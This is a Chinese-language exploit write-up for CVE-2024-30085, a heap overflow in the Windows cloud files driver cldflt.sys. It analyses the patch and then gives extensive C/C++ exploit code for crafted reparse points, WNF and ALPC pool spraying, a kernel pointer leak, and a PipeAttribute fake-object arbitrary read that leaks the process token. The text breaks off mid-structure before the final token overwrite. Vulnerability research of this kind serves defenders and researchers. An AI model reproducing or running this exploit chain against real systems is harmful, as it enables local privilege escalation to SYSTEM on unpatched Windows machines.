CVE-2024-30085漏洞分析与利用:Windows云文件驱动堆溢出提权实战

本文详细分析了Windows云文件迷你过滤器驱动cldflt.sys中的堆缓冲区溢出漏洞CVE-2024-30085,从漏洞触发到完整利用链的构建,包括内核指针泄露、任意读写和最终权限提升到SYSTEM的全过程。

CVE-2024-30085漏洞分析与利用

TLDR

CVE-2024-30085是影响Windows云文件迷你过滤器驱动cldflt.sys的基于堆的缓冲区溢出漏洞。通过制作自定义重解析点,可以触发缓冲区溢出来破坏相邻的_WNF_STATE_DATA对象。被破坏的_WNF_STATE_DATA对象可用于从ALPC句柄表对象泄露内核指针。然后利用第二次缓冲区溢出来破坏另一个_WNF_STATE_DATA对象,进而破坏相邻的PipeAttribute对象。通过在用户空间伪造PipeAttribute对象,能够泄露令牌地址并覆盖权限,将权限提升至NT AUTHORITY\SYSTEM。

目录

cldflt.sys简介

cldflt.sys是Windows云文件迷你过滤器驱动,允许用户在远程服务器和本地客户端之间管理和同步文件。cldflt.sys通过创建占位符文件和目录来实现这一功能,这些占位符被实现为重解析点。占位符允许文件的实际内容驻留在其他地方,并在需要时按需检索(称为"水合"),同时在系统上看起来和行为都像普通文件。用户可以通过云文件API创建和管理占位符。

漏洞分析与补丁

CVE-2024-30085是由SSD Secure Disclosure的Alex Birnberg以及Theori的Gwangun Jung和Junoh Lee发现的基于堆的缓冲区溢出漏洞。对于Windows 10 22H2,此漏洞在KB5039211更新中得到修复。

查看补丁差异,可以清楚地看到HsmIBitmapNORMALOpen函数已被修改。

左侧显示易受攻击的驱动程序二进制文件,右侧显示已修补的驱动程序二进制文件。从这里我们可以看到添加了一个额外的代码块cmp r14d, 0x1000。查看未修补函数的部分反编译代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
if (local_70 == 0x0) || (0xffe < memcpy_size - 1) {
    Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); 
    if (Dst == 0x0) {
        HsmDbgBreakOnStatus(-0x3fffff66); 
        ... // 转到错误路径
    }
    memcpy(Dst, local_70, memcpy_size); 
} else {
    iVar13 = *(int *)((memcpy_size - 4) + (longlong)local_70);
    if (iVar13 == -1) && (memcpy_size == 4) {
        *(uint *)(Dst + 2) = *(uint *)(Dst + 2) | 0x10; 
    } else {
        Dst = ExAllocatePoolWithTag(1, 0x1000, 0x6d427348); // 分配HsBm对象
        if (Dst == 0x0) {
            HsmDbgBreakOnStatus(-0x3fffff66); 
            ... // 转到错误路径
        }
    }
    memcpy(Dst, local_70, memcpy_size); // 易受攻击的memcpy,我们控制local_70和memcpy_size!
    ...
}

驱动程序在分页池中分配大小为0x1000的HsBm对象,并将memcpy_size大小的数据复制到分配的缓冲区。由于用户能够控制复制的数据以及memcpy_size的值,如果memcpy_size大于0x1000,将在分页池中发生基于堆的缓冲区溢出!

1
2
3
4
if (((int)uVar7 != 0) && (0x1000 < memcpy_size)) {
    HsmDbgBreakOnStatus(-0x3fff30fe); 
    ... // 转到错误路径
}

为了修补漏洞,添加了检查memcpy_size是否小于或等于0x1000的检查,并且只有在此检查通过时才会调用memcpy。

重解析点结构

然而,为了理解如何触发此漏洞,我们必须首先了解cldflt驱动程序用于存储数据的重解析点的结构。

重解析点包含一个重解析标签,用于标识拥有该重解析点的文件系统驱动程序,以及用户定义的数据。在这种情况下,当我们创建用于利用的文件时,将使用IO_REPARSE_TAG_CLOUD_6(0x9000601a)作为重解析标签。

用户定义的数据具有以下结构:

1
2
3
4
5
6
7
8
typedef struct _REPARSE_DATA_BUFFER {
    ULONG  ReparseTag;
    USHORT ReparseDataLength;
    USHORT Reserved;
    struct {
        UCHAR DataBuffer[1];
    } GenericReparseBuffer;
} REPARSE_DATA_BUFFER, *PREPARSE_DATA_BUFFER;

DataBuffer具有可变大小,并包含由云过滤器驱动程序设置的自定义数据,其格式如下:

1
2
3
4
5
struct _HSM_REPARSE_DATA {
    USHORT Flags;                       
    USHORT Length;                      
    HSM_DATA FileData;                  
} HSM_REPARSE_DATA, *PHSM_REPARSE_DATA;

当cldflt.sys创建重解析点时,如果数据大小大于0x100字节,它将使用COMPRESSION_FORMAT_LZNT1通过RtlCompressBuffer压缩数据。如果不涉及压缩,Flags设置为0x1;如果使用压缩,则设置为0x8001。Length指的是整个_HSM_REPARSE_DATA结构的大小。FileData采用以下形式:

1
2
3
4
5
6
7
8
9
typedef struct _HSM_DATA
{
    ULONG  Magic;                       
    ULONG  Crc32;                      
    ULONG  Length;                      
    USHORT Flags;                       
    USHORT NumberOfElements;            
    HSM_ELEMENT_INFO ElementInfos[1];   
} HSM_DATA, *PHSM_DATA;

对于位图数据,Magic设置为0x70527442(“BtRp”),对于文件数据,设置为0x70526546(“FeRp”)。如果存在CRC32,它将包含在结构中。CRC32使用RtlComputeCrc32计算。Length指的是整个_HSM_DATA对象的大小。如果存在CRC32校验和值,Flags将设置为0x2。_HSM_DATA结构可以包含多个元素,其形式如下:

1
2
3
4
5
6
typedef struct _HSM_ELEMENT_INFO
{
    USHORT Type;                        
    USHORT Length;                      
    ULONG  Offset;                      
} HSM_ELEMENT_INFO, *PHSM_ELEMENT_INFO;

元素可以具有以下类型:

1
2
3
4
5
6
#define HSM_ELEMENT_TYPE_NONE           0x00
#define HSM_ELEMENT_TYPE_UINT64         0x06
#define HSM_ELEMENT_TYPE_BYTE           0x07
#define HSM_ELEMENT_TYPE_UINT32         0x0a
#define HSM_ELEMENT_TYPE_BITMAP         0x11
#define HSM_ELEMENT_TYPE_MAX            0x12

Length指的是元素数据的大小,offset相对于_HSM_DATA结构的起始位置。

触发漏洞

让我们看看触发漏洞所需的代码路径:

1
2
3
4
5
-> HsmFltPostCREATE
    -> HsmiFltPostECPCREATE
        -> HsmpSetupContexts
            -> HsmpCtxCreateStreamContext
                -> HsmIBitmapNORMALOpen

通过打开包含cldflt重解析数据的文件,我们能够到达HsmpCtxCreateStreamContext。但是,为了到达HsmIBitmapNORMALOpen来触发易受攻击的memcpy,我们必须通过与FeRp对象及其嵌套的BtRp对象相关的某些检查。

当到达HsmpCtxCreateStreamContext时,它将调用HsmpRpValidateBuffer,该函数将对重解析数据执行检查。它首先检查_HSM_DATA对象的长度和magic,然后计算其CRC32。然后检查元素数量以确保其小于0xa,这是FeRp对象的最大元素数量。初始检查通过后,函数循环遍历所有元素以确保元素偏移量和长度的总和不超过数据对象的长度。

完成后,对每个元素执行检查,通常包括以下内容:

  • 检查元素类型是否在允许的类型范围内(即小于HSM_ELEMENT_TYPE_MAX,即0x12)
  • 检查元素偏移量
  • 检查元素大小

在这种情况下,FeRp对象的元素必须满足以下条件:

  • 元素0必须是BYTE类型(0x07)
  • 元素1必须是UINT32类型(0x0a)
  • 元素2必须是UINT64类型(0x06)
  • 元素4必须是BITMAP类型(0x11)

然后调用HsmpBitmapIsReparseBufferSupported来对嵌套的BtRp对象执行检查。执行与FeRp对象类似的初始检查,但不包括CRC32计算。BtRp对象允许的最大元素数量为0x5。元素必须满足以下条件:

  • 元素0必须是BYTE类型(0x07)
  • 元素1必须是BYTE类型(0x07)
  • 元素2必须是BYTE类型(0x07)

一旦HsmpBitmapIsReparseBufferSupported完成,它返回到HsmpRpValidateBuffer,该函数返回到HsmpCtxCreateStreamContext,最后调用HsmIBitmapNORMALOpen。HsmIBitmapNORMALOpen还对BtRp对象的元素实现检查:

  • 元素1必须是BYTE类型(0x07),并且必须具有值0x1
  • 元素2必须是BYTE类型(0x07)
  • 元素3必须是UINT64类型(0x06)
  • 元素4必须是BITMAP类型(0x11)

一旦所有这些条件都满足,我们最终将到达易受攻击的memcpy!

为了触发漏洞,我们首先必须使用云过滤器API注册同步根:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
CF_SYNC_REGISTRATION CfSyncRegistration = { 0 };
CfSyncRegistration.StructSize = sizeof(CF_SYNC_REGISTRATION);
CfSyncRegistration.ProviderName = L"FFE4";
CfSyncRegistration.ProviderVersion = L"1.0";
CfSyncRegistration.ProviderId = { 0xf4d808a4, 0xa493, 0x4703, { 0xa8, 0xb8, 0xe2, 0x6a, 0x7, 0x7a, 0xd7, 0x3b } };

CF_SYNC_POLICIES CfSyncPolicies = { 0 };
CfSyncPolicies.StructSize = sizeof(CF_SYNC_POLICIES);
CfSyncPolicies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
CfSyncPolicies.Hydration.Primary = CF_HYDRATION_POLICY_FULL;
CfSyncPolicies.InSync = CF_INSYNC_POLICY_NONE;
CfSyncPolicies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
CfSyncPolicies.PlaceholderManagement = CF_PLACEHOLDER_MANAGEMENT_POLICY_UPDATE_UNRESTRICTED;

hRet = CfRegisterSyncRoot(SyncRoot, &CfSyncRegistration, &CfSyncPolicies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (!SUCCEEDED(hRet)) {
    CfUnregisterSyncRoot(SyncRoot);
    cout << "CfRegisterSyncRoot failed! error=" << GetLastError() << endl;
    return -1;
}
printf("[+] CfRegisterSyncRoot success: 0x%lx\n", hRet);

我们将在同步根目录中创建文件:

1
2
3
4
5
6
7
8
HANDLE hFile1;
CString FullFileName1 = L"c:\\windows\\temp\\test";
hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile1 == INVALID_HANDLE_VALUE) {
    cout << "Open file failed! error=" << GetLastError() << endl;
    return -1;
}
printf("[+] Created exploit file 1: %d\n", hFile1);

最后,我们将使用FSCTL_SET_REPARSE_POINT_EX设置重解析点数据。

1
2
3
4
5
6
hBool = DeviceIoControl(hFile, FSCTL_SET_REPARSE_POINT_EX, &RpBufEx, (0x28+CompressedRpBufSize), NULL, 0, NULL, NULL);
if (hBool == 0) {
    cout << "FSCTL_SET_REPARSE_POINT_EX failed! error=" << GetLastError() << endl;
    return -1;
}
printf("[+] FSCTL_SET_REPARSE_POINT_EX succeeded\n");

要命中易受攻击的代码路径,我们只需要重新打开文件:

1
2
3
4
5
6
7
8
printf("[+] Opening file 1 to trigger vulnerability\n");
hFile1 = 0;
hFile1 = CreateFile(FullFileName1, GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile1 == INVALID_HANDLE_VALUE) {
    cout << "Open file failed! error=" << GetLastError() << endl;
    return -1;
}
printf("[+] File 1 handle: %d\n", hFile1); 

一旦发生溢出,机器就会崩溃!

利用概述

目前,我们在分页池中有一个溢出,影响大小为0x1000的对象。为了提升权限,我们需要内核指针泄露和任意写入的能力。只要我们控制内存布局以使机器不崩溃,也可以多次触发此漏洞。因此,我们将触发此漏洞两次 - 一次用于获取内核泄露并获得任意写入原语,第二次用于获得任意读取,从而获取令牌地址。

以下是利用计划:

  1. 创建利用文件1并设置大小为0x1010的自定义重解析点数据
  2. 喷洒填充_WNF_STATE_DATA
  3. 喷洒第一组_WNF_STATE_DATA对象
  4. 通过释放每个交替的_WNF_STATE_DATA对象来打孔
  5. 第一次触发漏洞以重新申请其中一个孔 - 这会破坏_WNF_STATE_DATA对象,给我们越界读取和写入的能力
  6. 喷洒ALPC句柄表以重新申请其余的孔
  7. 通过从第一个被破坏的_WNF_STATE_DATA对象读取来泄露内核指针
  8. 创建利用文件2并设置大小为0x1010的自定义重解析点数据
  9. 喷洒第二个填充_WNF_STATE_DATA
  10. 通过释放每个交替的_WNF_STATE_DATA对象来打孔
  11. 第二次触发漏洞以重新申请其中一个孔
  12. 喷洒PipeAttribute以重新申请其余的孔
  13. 使用第二个被破坏的_WNF_STATE_DATA对象破坏PipeAttribute对象以指向用户空间中的假对象 - 这给我们任意读取的能力
  14. 使用被破坏的PipeAttribute对象获取令牌地址
  15. 使用第一个被破坏的_WNF_STATE_DATA对象破坏ALPC句柄表以给我们任意写入的能力
  16. 覆盖令牌权限以获得完全权限!
  17. 获取winlogon进程的句柄
  18. 弹出NT AUTHORITY\SYSTEM shell!!!

获取内核指针泄露

我们将使用两个内核对象获取内核指针泄露:_WNF_STATE_DATA和_ALPC_HANDLE_TABLE。

首先让我们看看_WNF_STATE_DATA:

1
2
3
4
5
6
struct _WNF_STATE_DATA {
    struct _WNF_NODE_HEADER Header;                                         //0x0
    ULONG AllocatedSize;                                                    //0x4
    ULONG DataSize;                                                         //0x8
    ULONG ChangeStamp;                                                      //0xc
}; 

Windows通知设施(WNF)是一个未记录的内核组件,用于在整个系统中发送通知。用于发送通知的数据存储在_WNF_STATE_DATA对象中,该对象在分页池中分配,包括大小为0x10的头部,后面紧跟数据。允许的最大DataSize为0x1000,但这不会给我们带来问题,因为我们正在处理大小为0x1000的对象(使用0xff0的DataSize意味着分配的WNF对象大小为0x1000)。

要准备_WNF_STATE_DATA喷洒,我们可以执行以下操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define NUM_WNFSTATEDATA 0x450 
#define WNF_MAXBUFSIZE 0x1000 
PWNF_STATE_NAME_REGISTRATION PStateNameInfo = NULL;
WNF_STATE_NAME StateNames[NUM_WNFSTATEDATA] = { 0 };
PSECURITY_DESCRIPTOR pSD = nullptr;
NTSTATUS state = 0;
char StateData[0x1000];

printf("[+] Prepare _WNF_STATE_DATA spray\n");
memset(StateData, 0x41, sizeof(StateData));

if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"", SDDL_REVISION_1, &pSD, nullptr)) {
    cout << "ConvertStringSecurityDescriptorToSecurityDescriptor failed! error=" << GetLastError() << endl;
    return -1;
}

for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
    state = NtCreateWnfStateName(&StateNames[i], WnfTemporaryStateName, WnfDataScopeUser, FALSE, NULL, WNF_MAXBUFSIZE, pSD);
    if (state != 0) {
        cout << "NtCreateWnfStateName failed! error=" << GetLastError() << endl;
        return -1;
    }
}

我们将喷洒我们的第一个_WNF_STATE_DATA:

1
2
3
4
5
6
7
8
printf("[+] Spraying _WNF_STATE_DATA\n");
for (int i = 0; i < NUM_WNFSTATEDATA; i++) {
    state = NtUpdateWnfStateData(&StateNames[i], StateData, (0x1000-0x10), 0, 0, 0, 0);
    if (state != 0) {
        cout << "NtUpdateWnfStateData failed! error=" << GetLastError() << endl;
        return -1;
    }
}

这将导致分页池中的内存布局如下:

[内存布局图1]

之后,我们将通过释放每个交替的对象来打孔:

1
2
3
4
5
6
7
8
printf("[+] Poking holes by freeing every alternate WNF object\n");
for (int i = 0; i < NUM_WNFSTATEDATA; i = i + 2) {
    NtDeleteWnfStateData(&StateNames[i], NULL);
    state = NtDeleteWnfStateName(&StateNames[i]);
    if (state != 0) {
        return -1;
    }
}

[内存布局图2]

通过破坏_WNF_STATE_DATA对象的DataSize字段,可以使用_WNF_STATE_DATA对象获得越界读取和写入。在我们的情况下,通过使用堆溢出将DataSize从0xff0更改为0xff8,我们能够获得8字节的OOB读/写。

我们现在将打开利用文件1来触发漏洞,这将在其中一个孔中分配我们的目标对象,并溢出到相邻的_WNF_STATE_DATA对象中。

[内存布局图3]

采取的代码路径导致我们的目标对象被释放,但这并不重要,因为_WNF_STATE_DATA对象的破坏已经发生。尽管如此,这是释放发生后的内存外观:

[内存布局图4]

现在让我们看看高级本地过程调用(ALPC)。ALPC是Windows内核中未记录的内部进程间通信设施。徐世杰、宋建阳和李林双开发了一种技术,可以通过可变大小的_ALPC_HANDLE_TABLE对象获得任意读取和写入。

1
2
3
4
5
6
struct _ALPC_HANDLE_TABLE {
    struct _ALPC_HANDLE_ENTRY* Handles;                                     //0x0
    struct _EX_PUSH_LOCK Lock;                                              //0x8
    ULONGLONG TotalHandles;                                                 //0x10
    ULONG Flags;                                                            //0x18
}; 

当创建ALPC端口时,_ALPC_HANDLE_TABLE对象最初在分页池中分配,大小为0x80。每次调用NtAlpcCreateResourceReserve时,都会创建一个_KALPC_RESERVE blob,并调用AlpcAddHandleTableEntry将其地址添加到句柄表中。

1
2
3
4
5
6
7
8
struct _KALPC_RESERVE {
    struct _ALPC_PORT* OwnerPort;                                           //0x0
    struct _ALPC_HANDLE_TABLE* HandleTable;                                 //0x8
    VOID* Handle;                                                           //0x10
    struct _KALPC_MESSAGE* Message;                                         //0x18
    ULONGLONG Size;                                                         //0x20
    LONG Active;                                                            //0x28
}; 

每次句柄表空间不足时,对象会被重新分配,其大小会加倍。这意味着句柄表具有可变大小,从0x80、0x100、0x200、0x400、0x800、0x1000等开始。因此,通过多次调用NtAlpcCreateResourceReserve,我们能够在分页池中分配大小为0x1000的_ALPC_HANDLE_TABLE对象。

要准备ALPC句柄表喷洒,我们可以使用以下函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
CONST WCHAR g_wszPortPrefix[] = L"MyPort";
HANDLE g_hResource = NULL;

BOOL CreateALPCPorts(HANDLE* phPorts, UINT portsCount) {
	ALPC_PORT_ATTRIBUTES serverPortAttr;
	OBJECT_ATTRIBUTES    oaPort;
	HANDLE               hPort;
	NTSTATUS             ntRet;
	UNICODE_STRING       usPortName;
	WCHAR				 wszPortName[64];

	for (UINT i = 0; i < portsCount; i++) {
		swprintf_s(wszPortName, sizeof(wszPortName) / sizeof(WCHAR), L"\\RPC Control\\%s%d", g_wszPortPrefix, i);
		RtlInitUnicodeString(&usPortName, wszPortName);
		InitializeObjectAttributes(&oaPort, &usPortName, 0, 0, 0);
		RtlSecureZeroMemory(&serverPortAttr, sizeof(serverPortAttr));
		serverPortAttr.MaxMessageLength = MAX_MSG_LEN;
		ntRet = NtAlpcCreatePort(&phPorts[i], &oaPort, &serverPortAttr);
		if (!SUCCEEDED(ntRet))
			return FALSE;
	}
	return TRUE;
}

BOOL AllocateALPCReserveHandles(HANDLE* phPorts, UINT portsCount, UINT reservesCount) {
	HANDLE hPort;
	HANDLE hResource;
	NTSTATUS ntRet;

	for (UINT i = 0; i < portsCount; i++) {
		hPort = phPorts[i];
		for (UINT j = 0; j < reservesCount; j++) {
			ntRet = NtAlpcCreateResourceReserve(hPort, 0, 0x28, &hResource);
			if (!SUCCEEDED(ntRet))
				return FALSE;
			if (g_hResource == NULL) {	// 仅保存第一个
				g_hResource = hResource;
			}
		}
	}
	return TRUE;
}

在main中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#define NUM_ALPC 0x800
HANDLE ports[NUM_ALPC];
CONST UINT portsCount = NUM_ALPC;

printf("[+] Creating ALPC ports\n");
bRet = CreateALPCPorts(ports, portsCount);
if (!bRet) {
    printf("[!] CreateALPCPorts failed\n");
    return -1;
}

喷洒ALPC句柄表对象:

1
2
3
4
5
6
printf("[+] Allocating ALPC reserve handles\n");
bRet = AllocateALPCReserveHandles(ports, portsCount, reservesCount - 1);
if (!bRet) {
    printf("[!] CreateALPCPorts failed\n");
    return -1;
}

在调试器上,_ALPC_HANDLE_TABLE对象看起来像这样:

[ALPC句柄表结构]

此时,分页池中的内存具有以下布局:

[内存布局图5]

要定位被破坏的_WNF_STATE_DATA对象并获取我们的内核指针泄露,我们可以执行以下操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
WNF_CHANGE_STAMP stamp;
char WNFOutput[0x2000];
unsigned long WNFOutputSize = 0x1000;
int CorruptedWNFidx = -1; 
state = 0;
printf("[+] Finding corrupted WNF_STATE_DATA object\n");
for (int i = 1; i < NUM_WNFSTATEDATA; i = i + 2) {
    memset(WNFOutput, 0x0, sizeof(WNFOutput));
    WNFOutputSize = 0x1000;
    state = NtQueryWnfStateData(&StateNames[i], NULL, NULL, &stamp, WNFOutput, &WNFOutputSize);
    printf("    idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
    if (stamp == 0xcafe) { 
        printf("[+] Found corrupted object idx: %d, stamp: 0x%lx, state: 0x%lx\n", i, stamp, state);
        CorruptedWNFidx = i;
        ALPC_leak = *((unsigned long long *)(WNFOutput + 0xff0));
        printf("[+] KALPC_RESERVE leak: 0x%llx\n", ALPC_leak);
        break;
    }
}

任意读取

现在我们有了内核指针泄露,我们想要获得任意读取,以便获取令牌地址。为此,可以第二次触发漏洞来覆盖第二个_WNF_STATE_DATA数据对象。就像之前一样,我们将喷洒_WNF_STATE_DATA,通过释放每个交替的对象来打孔,然后触发漏洞以导致溢出并破坏相邻的_WNF_STATE_DATA对象。但这次,我们将喷洒PipeAttribute,并使用被破坏的_WNF_STATE_DATA来破坏相邻的PipeAttribute结构。

PipeAttribute任意读取技术由Corentin Bayet和Paul Fariello在他们的论文"Scoop the Windows 10 pool!“中介绍。当创建管道时,用户能够添加属性,这些属性随后以键值对的形式存储在链表中。PipeAttribute是一个可变大小的结构,在分页池中分配,具有以下形式:

1
2
3
4
5
6
7
struct PipeAttribute { 
    LIST_ENTRY list; 
    char * AttributeName; 
    uint64_t AttributeValueSize; 
    char * AttributeValue; 
    char data[0];
}

要准备喷洒,我们必须首先创建管道:

1
2
3
4
5
6
7
8
printf("[+] Creating pipe objects\n");
for (int i = 0; i < NUM_PIPEATTR; i++) {
    ret = CreatePipe((PHANDLE)&ReadPipeArr[i], (PHANDLE)&WritePipeArr[i], NULL, 0x0);
    if (ret == 0) {
        cout << "CreatePipe failed! error=" << GetLastError() << endl;
        return -1;
    }
}

要喷洒PipeAttribute,我们可以执行以下操作:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
memset(PipeData, 0x43, 0x20); 
memset(PipeData+0x21, 0x43, 0x40);
printf("[+] Spraying pipe_attribute\n"); 
for (int i = 0; i < NUM_PIPEATTR; i++) {
    ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x11003c, PipeData, (0x1000-0x30), PipeOutput, 0x100);
    if (ret != 0x0) {
        cout << "NtFsControlFile pipe attribute failed! error=" << GetLastError() << endl;
        return -1;
    }
}

要从PipeAttribute读取,我们可以使用0x110038作为控制代码调用NtFsControlFile。这将向用户返回大小为AttributeValueSize的AttributeValue。请注意,如果用户再次调用带有控制代码0x11003c的NtFsControlFile来修改AttributeValue,旧的PipeAttribute结构将被释放,新的将取代其位置。

1
ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, PipeName, len, PipeData, 0x1000);

在Windows上,由于向后兼容性,未启用主管模式访问预防(SMAP)。因此,内核可以寻址用户空间中的数据。为了实现任意读取,我们可以使用被破坏的_WNF_STATE_DATA对PipeAttribute的LIST_ENTRY的Flink指针执行越界写入,使其指向用户空间中的假PipeAttribute结构。从那里,我们能够设置AttributeValueSize和AttributeValue,允许我们从任何内核地址读取。

我们可以在用户空间中设置我们的假PipeAttribute对象,如下所示:

1
2
3
4
5
6
7
// 设置假的用户空间pipe_attribute对象
*(unsigned long long *)(FakePipe) = (unsigned long long)FakePipe2; // Flink
*(unsigned long long *)(FakePipe + 0x8) =  (unsigned long long)pipe_leak; // Blink
*(unsigned long long *)(FakePipe + 0x10) = (unsigned long long)FakePipeName; // 属性名称
*(unsigned long long *)(FakePipe + 0x18) = 0x30; // 属性值大小 -- 泄露大小
*(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)ALPC_leak; // 属性值 -- 泄露指针
*(unsigned long long *)(FakePipe + 0x28) = 0x4545454545454545; // 数据

然后使用我们的第二个被破坏的_WNF_STATE_DATA对象来覆盖内核内存中相邻PipeAttribute对象的Flink指针:

1
2
3
4
5
6
// 使用WNF对象1覆盖pipe_attribute的flink
printf("[+] Using WNF object 1 to corrupt pipe_attribute\n");
memset(StateData, 0x0, sizeof(StateData)); 
memset(StateData, 0x47, 0x200); // 只是为了更容易看到对象
*(unsigned long long *)(StateData + 0xff0) = (unsigned long long)FakePipe;
state = NtUpdateWnfStateData(&SecondStateNames[CorruptedWNFidx2], StateData, 0xff8, NULL, NULL, 0xbeef, NULL); 

这是现在的内存布局:

[内存布局图6]

我们现在可以执行我们的任意读取。我们想要读取的第一个指针是我们之前泄露的_KALPC_RESERVE指针。通过从_KALPC_RESERVE读取,我们能够获得指向_ALPC_PORT结构的指针:

1
2
3
4
5
6
7
struct _ALPC_PORT
{
    struct _LIST_ENTRY PortListEntry;                                       //0x0
    struct _ALPC_COMMUNICATION_INFO* CommunicationInfo;                     //0x10
    struct _EPROCESS* OwnerProcess;                                         //0x18
    ...
}

执行泄露:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
printf("[+] Arbitrary read from corrupted pipe_attribute object\n"); 
int CorruptedPipeIdx = -1;
for (int i = 0; i < NUM_PIPEATTR; i++) {
    memset(PipeData, 0x0, sizeof(PipeData)); 
    ret = NtFsControlFile(WritePipeArr[i], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
    if (ret == 0) {
        printf("[+] Reached fake pipe_attribute in userland\n");
        ALPC_port_leak = *((unsigned long long *)(PipeData));
        ALPC_handle_table = ((unsigned long long *)(PipeData))[1];
        ALPC_message_leak = ((unsigned long long *)(PipeData))[3]; 
        CorruptedPipeIdx = i; 
        printf("[+] ALPC port leak: 0x%llx\n", ALPC_port_leak);
        printf("[+] ALPC handle table leak: 0x%llx\n", ALPC_handle_table); 
        printf("[+] ALPC message leak: 0x%llx\n", ALPC_message_leak);
        break;
    }
}

从_ALPC_PORT结构中,我们能够获取EPROCESS的地址。由于ALPC端口属于我们当前的进程,EPROCESS将是我们当前进程的结构。指向令牌的指针位于EPROCESS的偏移0x4b8处,我们可以从EPROCESS读取以获取该指针。

执行这些泄露:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
// 泄露EPROCESS
printf("[+] Leaking data in ALPC_port\n"); 
memset(PipeData, 0x0, sizeof(PipeData)); 
*(unsigned long long *)(FakePipe + 0x18) = 0x1d8; // 属性值大小 -- 泄露大小
*(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(ALPC_port_leak); // 属性值 -- 泄露指针
ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
EPROCESS_leak = ((unsigned long long *)(PipeData))[3];
printf("[+] EPROCESS leak: 0x%llx\n", EPROCESS_leak); 

// 泄露令牌
int pid = GetCurrentProcessId(); 
printf("[+] Current PID: 0x%lx\n", pid); 
memset(PipeData, 0x0, sizeof(PipeData)); 
*(unsigned long long *)(FakePipe + 0x18) = 0xa40; // 属性值大小 -- 泄露大小
*(unsigned long long *)(FakePipe + 0x20) = (unsigned long long)(EPROCESS_leak); // 属性值 -- 泄露指针
ret = NtFsControlFile(WritePipeArr[CorruptedPipeIdx], NULL, NULL, NULL, &status, 0x110038, FakePipeName, (strlen(FakePipeName)+1), PipeData, 0x1000);
token_leak = ((unsigned long long *)(PipeData))[151] & 0xFFFFFFFFFFFFFFF0; 
printf("[+] Leaked PID: 0x%lx\n", ((unsigned long long *)(PipeData))[136]); 
printf("[+] Leaked token: 0x%llx\n", token_leak);

权限提升

现在我们有了令牌的地址,我们最终可以将权限提升到NT AUTHORITY\SYSTEM权限!

记住我们用来泄露ALPC句柄表中_KALPC_RESERVE指针的第一个_WNF_STATE_DATA吗?我们可以使用相同的_WNF_STATE_DATA对象用指向用户空间中假_KALPC_RESERVE结构的指针覆盖该指针。在_KALPC_RESERVE内部,有一个指向_KALPC_MESSAGE的指针:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
struct _KALPC_MESSAGE {
    struct _LIST_ENTRY Entry;                                               //0x0
    struct _ALPC_PORT* PortQueue;                                           //0x10
    struct _ALPC_PORT* OwnerPort;                                           //0x18
    struct _ETHREAD* WaitingThread;                                         //0x20
    union
    {
        struct
        {
            ULONG QueueType:3;                                              //0x28
            ULONG QueuePortType:4;                                          //0x28
            ULONG Canceled:1;                                               //0x28
            ULONG Ready:1;                                                  //0x28
            ULONG ReleaseMessage:1;                                         //0x28
            ULONG SharedQuota:1;                                            //0x28
            ULONG ReplyWaitReply:1;                                         //0x28
            ULONG OwnerPortReference:1;                                     //0x28
            ULONG ReceiverReference:1;                                      //0x28
            ULONG ViewAttributeRetrieved:1;                                 //0x28
            ULONG InDispatch:1;                                             //0x28
            ULONG InCanceledQueue:1;                                        //0x28
        } s1;                                                               //0x28
        UL
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计